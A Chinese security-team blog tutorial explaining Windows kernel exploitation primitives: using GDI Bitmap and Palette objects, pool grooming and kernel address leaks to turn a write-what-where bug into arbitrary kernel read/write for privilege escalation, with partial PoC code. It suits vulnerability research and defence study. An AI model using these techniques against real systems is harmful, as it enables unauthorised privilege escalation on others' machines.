乾貨丨windows核心www漏洞利用手法
Windows Kernel Write What Where
前言:Gcow安全團隊複眼小組致力於對漏洞的挖掘和研究,並且對於二進位制和web漏洞方面都有所研究,有獨立挖掘漏洞和獨立復現漏洞的能力,本篇文章由Gcow安全團隊複眼小組晏子霜師傅所寫!
0x00 BITMAP(點陣圖) 簡介
HBITMAP CreateBitmap(int nWidth,int nHeight,UINT nPlanes,UINT nBitCount,const VOID *lpBits);
(nBitCount是一個畫素佔用的位,如果nBitCount為32,則一個畫素為4位 也就是乘4)
Windows7 (X64)
建立堆塊大小 0x0240 + nWidth * nHeight * nBitCount
(1503)
建立堆塊大小 0x0260 + nWidth * nHeight * nBitCount
(1703)
建立堆塊大小 0x0270 + nWidth * nHeight * nBitCount
SURFOBJ.cjBits = nWidth * nHeight * nBitCount
修改SURFOBJ.sizlBitmap結構中的cx和cy,都可以達到類似陣列越界漏洞的效果,SURFOBJ.cjBits的大小為pixel data的大小,但如果修改了SURFOBJ.sizlBitmap結構,SURFOBJ.cjBits大小並不進行安全校驗.
所以,核心中哪怕1位元組的(任意地址修改任意值),(任意地址寫固定值,隨機值)只要寫入的內容不是0,也可以利用該漏洞去修改下一個SURFACE結構的SURFOBJ中的PvScan0,來進行任意地址讀寫.
如果建立BitMap時 lpBits不指定 則會額外建立池塊處理PvScan0
typedef struct _SURFOBJ { DHSURF dhsurf; HSURF hsurf; DHPDEV dhpdev; HDEV hdev; SIZEL sizlBitmap; ULONG cjBits; PVOID pvBits; PVOID pvScan0; LONG lDelta; ULONG iUniq; ULONG iBitmapFormat; USHORT iType; USHORT fjBitmap; } SURFOBJ, *PSURFOBJ;
釋放
BOOL DeleteObject(HGDIOBJ hObject);
該函式刪除一個邏輯筆,畫筆,字型,點陣圖,區域或者調色盤,釋放所有與該物件有關的系統資源,在物件被刪除之後,指定的控制程式碼也就失效了
獲取BitMap地址
Windows10 v1511
使用CreateBitmap建立一個點陣圖,儲存返回的控制程式碼,bitmap控制程式碼的最後兩個位元組是該結構在GdiSharedHandleTable陣列中的索引(=>handle & 0xffff).
從PEB偏移0xf8(X64)處獲取指向GdiSharedHandleTable的指標,該指標指向_GDI_CELL結構的陣列
透過控制程式碼的後16位來尋找索引的偏移,每個_GDI_CELL結構大小為0x18(X64),0x10(X86)
GdiSharedHandleTable + (BitMap_Handle & 0xFFFF)*0x18 可以獲取SURFACE結構在核心記憶體中的位置.
透過計算偏移即可獲取PvScan0所在的記憶體地址,即可利用核心WWW漏洞進行利用
Windows10 v1607 Rs1
使用LocalAlloc分配一塊記憶體,大小為 0x06 * 0x300
使用CreateAcceleratorTable 生成一個有0x300表項的加速器表,此時分配的是一個0x1200大小的記憶體池塊,SessionPool.
gSharedInfo結構中的aheList結構中儲存了一個pKernel指標,該指標指向這個控制程式碼的核心地址.
aheList為指向PUSER_HANDLE_ENTRY結構陣列的指標
透過加速器控制程式碼(HACCEL)的低16位(PUSER_HANDLE_ENTRY結構陣列偏移),可以獲取到加速器核心地址.
由於加速器使用的也是SessionPool 所以釋放該加速器後,重新申請同樣大小的SessionPool則可以使用釋放的記憶體
CreateBitmap(0x0FA0, 0x01, 0x01, 0x08, Data);
透過UAF的方法獲取SURFACE結構的基址.
Windows10 v1703 Rs2
(BitMap的SurFace結構 在v1703上比v1503增大了10)
建立堆塊大小 0x0270 + nWidth * nHeight * nBitCount
首先建立一個視窗(RegisterClass+CreateWindowEx)
如何獲取lpszMenuName的核心地址呢
首先獲取 UlClientDelta 這是使用者桌面堆和核心桌面堆的一個偏移,使用核心桌面堆的地址 減去 UlClientDelta 就是使用者桌面堆的地址了.
UlClientDelta = poi(poi(TEB + 0x828)+0x28) - poi(TEB + 0x828)
(方法很多種不唯一 並不一定要使用HMValidateHandle函式 直接搜尋使用者態對映的桌面堆也可以)
其次 透過 IsMenu 函式獲取到 HMValidateHandle 函式的地址 接著將建立的視窗控制程式碼丟進去 就可以返回TagWND結構在使用者桌面堆中的地址了().
TagCls = TagWND + 0xa8
Address(lpszMenuName) = *((TagCls + 0x90) - UlClientDelta)
為什麼要減去 UlClientDelta 呢,因為核心地址我們沒辦法讀取 只能透過使用者模式的對映獲取到lpszMenuName,也就是釋放之後SurFace結構的地址
這時釋放視窗
因為是BigPool 低熵大記憶體池.所以這裡我們同樣生成一個0x1210的SurFace結構
CreateBitmap(0xFA0, 0x01, 0x01, 0x08, Data);
這時我們就已經佔坑了,可以在Windbg中看到我們的SurFace結構使用了lpszMenuName所佔用的SessionPool.
利用 BITMAP 進行任意地址寫
建立兩個(多個)Bitmap,獲取到其中一個SURFACE結構的地址,透過偏移尋找到SURFOBJ結構中的PvScan0,將PvScan0的內容修改為另外一個Bitmap的PvScan0地址.
使用 SetBitmapBits(HBITS_B[M_UAF_ID](PvScan0被修改成另外一個塊的結構), 0x08, Where_TO_DO(想要讀或寫的記憶體地址的指標));
使用 GetBitmapBits(HBITS_B[W_UAF_ID](另外一個塊), 0x08, &EPROCESS);來讀取8位元組到EPROCESS指向的記憶體中
使用 SetBitmapBits(HBITS_B[W_UAF_ID](另外一個塊), 0x08, Where_TO_DO(想要寫入內容的指標));來向設定的地址寫入8位元組
1位元組任意地址讀寫 利用BitMap提權
實驗環境:
Windows7 X64專業版
首先分配0x500個0x1000位元組的 Pool
這一步的目的是記憶體縮緊,縮緊到沒有多餘的0x1000位元組大小的空閒核心池(其實可能還是有=_=,不過問題不大),來干擾Large Pool的分割
for (i = 0; i < 0x500; ++i){CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data1);}
然後分配0x2000位元組大小的 Large Pool
Windows7 (X64) 建立池塊大小 0x0240 + nWidth * nHeight * nBitCount,
所以 此處使用 BigPool = CreateBitmap(0x1DC0, 0x01, 0x01, 0x08, Data);
接著釋放這個Pool
DeleteObject(BigPool);
此時,佔用了0x2000位元組的大塊是被釋放的
立刻申請兩個0x1000位元組的塊
F_Pool = CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data1);
S_Pool = CreateBitmap(0xDC0, 0x01, 0x01, 0x08, Data2);
透過洩露BitMap地址,可以發現我們已經佔用了釋放的Large Pool
SURFOBJ64 結構偏移0x20 處為 sizlBitMap 結構,該結構如下
typedef strucy tagSIZE{ LONG cx; LONG cy;}SIZE,*PSIZE;
我們只需要覆蓋其中一個結構 即可進行越界讀寫記憶體(OOB);
F_POOL->sizlBitMap = 00000001`00000dc0;
此處,我們透過WWW漏洞將 F_POOL->sizlBitMap.cy 修改成0x02
這樣我們的讀寫範圍就變成 0xdc0 * 2 = 0x1B80
即可透過 F_Pool 任意讀寫 S_POOL 的內容
接下來修改S_POOL的PvScan0指標,即可任意地址讀寫
typedef struct _PALETTE { BASEOBJECT BaseObject; FLONG flPal; ULONG cEntries; ULONG ulTime; HDC hdcHead; ULONG hSelected; ULONG cRefhpal; ULONG cRefRegular; ULONG ptransFore; ULONG ptransCurrent; ULONG ptransOld; ULONG unk_038; ULONG64 pfnGetNearest; ULONG pfnGetMatch; ULONG ulRGBTime; ULONG pRGBXlate; PALETTEENTRY *pFirstColor; struct _PALETTE *ppalThis; PALETTEENTRY apalColors[1]; }
0x01 Palette(調色盤) 簡介
HPALETTE CreatePalette(const LOGPALETTE *plpal);
建立調色盤,只有一個引數為指向LOGPALETTE結構的指標
X86 下 size(PALETTE) 為 0x58 位元組大小
X64 下 size(PALETTE) 為 0x98 位元組大小
typedef struct tagLOGPALETTE { WORD palVersion; WORD palNumEntries; _Field_size_opt_(palNumEntries) PALETTEENTRY palPalEntry[1];} LOGPALETTE, *PLOGPALETTE, NEAR *NPLOGPALETTE, FAR *LPLOGPALETTE;
palVersion 設定為 0x0300 即可
palNumEntries 為 palPalEntry 的個數,每個 PALETTEENTRY 結構為 0x04位元組大小(包括X64)
CreatePalette(PPlette);
函式會建立一個 (Sizeof(PALETTE) + palNumEntries * 4) 大小的 Kernel Pool 來儲存PALETTE結構
PALETTE 結構 末尾的 apalColors 結構 為 PALETTEENTRY結構的陣列 預設為 8 位元組大小(預設項數為0x02),Kernel Pool 儲存 PALETTE 結構時,會根據 palNumEntries 來設定 apalColors 陣列的項數
PALETTE 結構中的變數 cEntries 為 LOGPALETTE 結構中的 palNumEntries,來代表當前 apalColors陣列有多少項
修改 PALETTE.cEntries 則可以進行 越界讀寫(OOB)
PALETTE.pFirstColor 為指向 PALETTE.apalColors 地址的指標
修改 PALETTE.pFirstColor 則可以進行 任意地址讀寫(WWW)
釋放 Palette
DeleteObject(HPalette);
獲取 Palette 地址
建立視窗時透過設定視窗類選單名稱,可以分配任意大小的Kernel Session Pool,可以利用這一點來預測Palette結構的地址
wndclass.lpszMenuName = (LPCWSTR)LpszMNames;
(為了避免有相同大小的空閒 Session Pool,先申請 N個 同大小的Palette結構,來佔用記憶體會提高成功機率)
首先算好Palette結構需要佔坑的大小,接著建立視窗,使用 HMValidateHandle 函式(BITMAP一節中有介紹)獲取tagCls.lpszMenuName 指向的地址,此處為佔坑地址,釋放視窗,釋放視窗類,建立Palette結構即可
tagCls地址獲取方法
TagWnd = HMValidateHandle(HWND,1);
返回值為 tagWnd桌面堆在使用者態對映的地址
TagWnd.head.pSelf 為 pSelf ,是TagWnd結構在核心池中的地址
Kenrl_Pool_OffSet = TagWnd.head.pSelf - TagWnd 可以算出 使用者態對映的桌面堆 和核心態桌面堆的偏移
TagWnd.pcls 為當前視窗類的地址,也就是tagCls結構的核心地址
TagWnd.pcls - Kenrl_Pool_OffSet = TagCls 即可獲取到使用者態對映下TagCls結構的地址
TagCls.lpszMenuName 為 分配的視窗選單名稱,分配在Session Pool裡
獲取到 TagCls.lpszMenuName 的地址後,釋放視窗,以及視窗類,建立PALETTE即可複用
以下為Poc中部分程式碼
HINSTANCE hInstance;HWND hwnd, pwd; WNDCLASS wndclass = { 0 };memset(LpszMNames, 'F', 0x1000-0x08);hInstance = GetModuleHandleA(0);wndclass.style = CS_HREDRAW | CS_VREDRAW;wndclass.lpfnWndProc = DefWindowProc;wndclass.hInstance = hInstance;wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);wndclass.lpszMenuName = (LPCWSTR)LpszMNames;wndclass.lpszClassName = TEXT("case");if (!RegisterClass(&wndclass)){printf("Register Window Class Error!\n");return 1;} hwnd = CreateWindowEx(0, wndclass.lpszClassName, TEXT("WORDS"), 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);printf("hwnd:%p\n", hwnd);pwd = (HWND)HMValidateHandle(hwnd, 1);ULONG ulClientDelta = *(ULONG*)((ULONG)pwd + 0x10) - (ULONG)pwd;ULONG TagCls = *(ULONG*)((ULONG)pwd + 0x64) - ulClientDelta;PALETTE_Address = *(ULONG*)((ULONG)TagCls + 0x50);//__asm int 3printf("TagCls:0x%p\n", TagCls);printf("TagWnd:0x%p\n", pwd);printf("PALETTE_Address:0x%p\n", PALETTE_Address);DestroyWindow(hwnd); //記憶體縮緊 while (I <= 0x500){ CreatePalette(Palette); ++I; } //釋放視窗類 UnregisterClass(TEXT("case"), GetModuleHandleA(0)); //地址洩露! HPAL = CreatePalette(Palette);
利用 Palette 進行任意地址讀寫
透過修改 PALETTE.pFirstColor 的指標後,則可使用
SetPaletteEntries(HPALETTE Hpal,UINT iStartIndex,UINT nEntries,LPPALETTEENTRY lppe);
函式進行任意地址寫
SetPaletteEntries(HPALETTE,0,0x05,Entries)
引數 1 Hpal 為 CreatePalette 函式返回的調色盤控制程式碼
引數 2 iStartIndex 為 從 apalColors 陣列中第幾項開始寫
引數 3 nEntries 為 到 apalColors 陣列中第幾項結束
引數 4 lppe 為 PALETTEENTRY 結構陣列的指標,每項4位元組,透過設定此引數來寫入任意值
建立兩個 PALETTE 結構,覆寫 PALETTE.pFirstColor 指標後,可參考BITMAP的利用方法 獲取無限制的 ARW Primitiver
使用
GetPaletteEntries(HPALETTE Hpal,UINT iStartIndex,UINT nEntries,LPPALETTEENTRY lppe);
函式進行任意地址讀
GetPaletteEntries(HPALETTE,0,0x05,Entries)
引數 1 Hpal 為 CreatePalette 函式返回的調色盤控制程式碼
引數 2 iStartIndex 為 從 apalColors 陣列中第幾項開始讀
引數 3 nEntries 為 到 apalColors 陣列中第幾項結束
引數 4 lppe 為 PALETTEENTRY 結構陣列的指標,每項4位元組,透過設定此引數來讀取任意值
Find Palette Pool
從Windbg中搜尋建立的調色盤 PALETTE結構
!poolfind Gl?8 -session
關注公眾號
後臺回覆:Gcow
獲取poc下載地址
相關文章
- 基於 GDI 物件的 Windows 核心漏洞利用2018-05-09物件Windows
- 乾貨:遊戲中“沙漠”場景的設計手法2021-01-26遊戲
- 一些乾貨:遊戲中常見“洞穴”場景的設計手法2020-09-27遊戲
- 乾貨帖 | TDSQL-A核心架構揭秘2021-09-09SQL架構
- 乾貨丨RPA郵件自動化技巧2019-10-09
- 乾貨丨愛奇藝CDN IPv6系統配置2019-08-13
- 乾貨丨RPA視窗型處理方法2019-07-23
- 乾貨丨機器學習知識點(人工智慧篇)2018-03-15機器學習人工智慧
- AI客服上線 乾貨 乾貨 全是乾貨!2024-07-26AI
- 【乾貨】遊戲介面設計 (一)核心設計2023-04-03遊戲
- Windows核心漏洞利用教程 第7部分:未初始化的堆變數2018-04-13Windows變數
- 【技術乾貨】Oracle資料庫漏洞掃描指南2019-08-26Oracle資料庫
- 乾貨丨ERP系統的RPA實施技巧2019-09-25
- 乾貨丨Linux系統下強大的ethtool命令2020-11-30Linux
- 乾貨|如何利用CNN建立計算機視覺模型?2019-05-24CNN計算機視覺模型
- 技術乾貨 | 利用systemd管理MySQL單機多例項2021-10-29MySql
- 利用redis未授權訪問漏洞(windows版)2021-05-30RedisWindows
- 乾貨丨AI助力金融風控的趨勢與挑戰2020-05-25AI
- 乾貨丨RPA工程中的資料處理問題2019-08-22
- 【技術乾貨】盤點最流行的Web漏洞掃描工具!2022-06-02Web
- 飛凌嵌入式乾貨分享丨如何在iMX8MQ 核心板上實現低功耗音訊播放2020-12-10MQ音訊
- Spring Boot 最核心的 25 個註解,都是乾貨!2019-02-26Spring Boot
- 個人理解的Windows漏洞利用技術發展史2016-09-22Windows
- Windows 核心 利用教程 4 池風水 -> 池溢位2018-01-15Windows
- 乾貨丨運維圈必讀10篇精選技術文章2015-12-02運維
- IT自學乾貨2017-12-13
- 使用C#建立安裝Windows服務程式(乾貨)2023-08-17C#Windows
- 【乾貨乾貨】configtxlator 工具介紹2019-07-23
- 技術乾貨|如何利用 ChunJun 實現資料離線同步?2023-05-19
- 技術乾貨|如何利用 ChunJun 實現資料實時同步?2023-04-24
- WWW全球資訊網核心基本組成2020-11-27
- redis漏洞利用2017-06-21Redis
- ruoyi漏洞利用2024-07-02
- Windows系統曝新漏洞 微軟稱正被俄駭客利用2016-11-02Windows微軟
- 乾貨丨RPA 關於各種對賬的分享與總結2019-10-21
- 乾貨丨如何水平擴充套件和垂直擴充套件DolphinDB叢集?2020-12-29套件
- 網站漏洞檢測 滲透測試檢測手法2019-12-11網站
- 前端乾貨 -022018-11-15前端